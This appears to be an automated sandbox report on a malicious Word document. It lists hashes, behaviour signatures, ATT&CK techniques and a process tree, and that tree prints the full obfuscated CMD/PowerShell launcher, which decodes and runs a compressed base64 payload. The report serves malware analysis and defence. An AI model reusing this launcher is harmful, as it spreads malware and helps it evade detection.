0c9fb2e39787d2f5e31a2120712989a174aa64426f037ce8b3157a00925d10f9

General

Target

dcc46ab577ad8150cbc5246f21984c55_JaffaCakes118.doc
Size

66KB
MD5

dcc46ab577ad8150cbc5246f21984c55
SHA1

a6d708c6a8d015fe2435a0fd03fef758282c65b5
SHA256

0c9fb2e39787d2f5e31a2120712989a174aa64426f037ce8b3157a00925d10f9
SHA512

bb6a4af4c2c53786ed148d58ee244436f91515e908d0adb441539f61d789e9a774cc28eaaf1a243ddda269b3f49733f284e085cddd9510d9df4d3ce0acf6c4a1
SSDEEP

768:UX3mVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9C8lzKQli9/4:Omocn1kp59gxBK85fBt+a9f2

Score

10^/10

discovery

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2824	2652	CMD.exe	29

Blocklisted process makes network request 7 IoCs

flow	pid	Process
3	2676	powershell.exe
5	2676	powershell.exe
7	2676	powershell.exe
8	2676	powershell.exe
9	2676	powershell.exe
12	2676	powershell.exe
14	2676	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2652	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2676	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2652	WINWORD.EXE
2652	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 2668	2652	WINWORD.EXE	30
PID 2652 wrote to memory of 2668	2652	WINWORD.EXE	30
PID 2652 wrote to memory of 2668	2652	WINWORD.EXE	30
PID 2652 wrote to memory of 2668	2652	WINWORD.EXE	30
PID 2652 wrote to memory of 2824	2652	WINWORD.EXE	31
PID 2652 wrote to memory of 2824	2652	WINWORD.EXE	31
PID 2652 wrote to memory of 2824	2652	WINWORD.EXE	31
PID 2652 wrote to memory of 2824	2652	WINWORD.EXE	31
PID 2824 wrote to memory of 2676	2824	CMD.exe	34
PID 2824 wrote to memory of 2676	2824	CMD.exe	34
PID 2824 wrote to memory of 2676	2824	CMD.exe	34
PID 2824 wrote to memory of 2676	2824	CMD.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dcc46ab577ad8150cbc5246f21984c55_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2668
- C:\Windows\SysWOW64\CMD.exe
  CMD Cmd.exe /c"Set tDJr=. ( $ShELliD[1]+$sHElLid[13]+'X') ( NEW-oBJECt SYstEM.iO.compREssion.dEflatEStrEAM( [SySteM.Io.MeMorysTrEAm] [SysTem.COnvERT]::FRombaSE64StRiNG( 'TZBha8IwEIb/Sj8Uorgm0wluloJsQy1DGQxxg325Jlcb2yahJq1O/O9rZcLgvtzde8/dvX4q15HCJtDJHrn11mjpFpOXQqKyoZ++yYhk1popY7vKGW2wwh+BNVQ7OFCuS5Yv4snsT9I0DU2DhzHdG9Z0EXCtbEtizhQaxIGN7oeP7HO4fH+a34ZEXtNU5rqkiROycJmrKHAqBducVsuTxf/0dqNTUoDAIoVKXy9wMI5vGg4HKGGngJZHVnNYEPphCml7ZEb6of+cbb3II+PRhHTJKvJR1VOLpRmQbzLo+gNC8YgkTHWFwLOe/2U3nlRe50X/bKvT2W89o6+6Ud1Lc1ngVXPndcB+GKta5xjELfRaCZOWk4cXDpZn58vlFw==' ) ,[Io.CoMPreSsIOn.ComPReSSIONMODE]::DEcOMPress)^| FOrEACh { NEW-oBJECt iO.sTreaMREADer( $_, [tEXt.EncOding]::AsCIi ) }^|FoREach{ $_.ReaDToENd( ) } )&& POweRshELl ${v`R45} = [TYpe](\"{3}{0}{2}{1}\"-f'v','nMEnt','IRo','EN' ) ; ${exECuTIoncONTeXt}.\"InV`oKeCOMM`AnD\".( \"{2}{1}{0}\" -f'Pt','okESCrI','InV' ).Invoke( ( ( DIr ( 'vAri' +'Abl' + 'E:' + 'VR45' ) ).\"VA`Lue\"::( \"{5}{2}{4}{1}{3}{6}{0}\" -f 'le','TvAri','nvir','a','OnMEn','gEte','b' ).Invoke(( \"{1}{0}\"-f'JR','TD' ),( \"{0}{1}\"-f'PR','OCess' ) )) )"
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POweRshELl ${v`R45} = [TYpe](\"{3}{0}{2}{1}\"-f'v','nMEnt','IRo','EN' ) ; ${exECuTIoncONTeXt}.\"InV`oKeCOMM`AnD\".( \"{2}{1}{0}\" -f'Pt','okESCrI','InV' ).Invoke( ( ( DIr ( 'vAri' +'Abl' + 'E:' + 'VR45' ) ).\"VA`Lue\"::( \"{5}{2}{4}{1}{3}{6}{0}\" -f 'le','TvAri','nvir','a','OnMEn','gEte','b' ).Invoke(( \"{1}{0}\"-f'JR','TD' ),( \"{0}{1}\"-f'PR','OCess' ) )) )
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
ee0de1c646fcd599e5a7e47ebb0ab058

SHA1
c6d1ec74914063c36b96e1db3cb0cdb7f52d4260

SHA256
4ae5fde109fe2fe1e3aa3ccb86408b44641562cf90dbb0267381d6d2f4541773

SHA512
32972bad34b937946dc6657d0d9ebf46d8ac99d1f0537d4c84f6117051a1a4a5329857d8a65cc8f505e98b7660f21bcd2c01f19039f63adbc2d77bde297f5d95

Download Submit
memory/2652-0-0x000000002F241000-0x000000002F242000-memory.dmp

Filesize
4KB

Download
memory/2652-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2652-2-0x0000000070F9D000-0x0000000070FA8000-memory.dmp

Filesize
44KB

Download
memory/2652-4-0x0000000000870000-0x0000000000970000-memory.dmp

Filesize
1024KB

Download
memory/2652-5-0x0000000000870000-0x0000000000970000-memory.dmp

Filesize
1024KB

Download
memory/2652-6-0x0000000000870000-0x0000000000970000-memory.dmp

Filesize
1024KB

Download
memory/2652-14-0x0000000070F9D000-0x0000000070FA8000-memory.dmp

Filesize
44KB

Download
memory/2652-15-0x0000000000870000-0x0000000000970000-memory.dmp

Filesize
1024KB

Download
memory/2652-30-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2652-31-0x0000000070F9D000-0x0000000070FA8000-memory.dmp

Filesize
44KB

Download

Analysis

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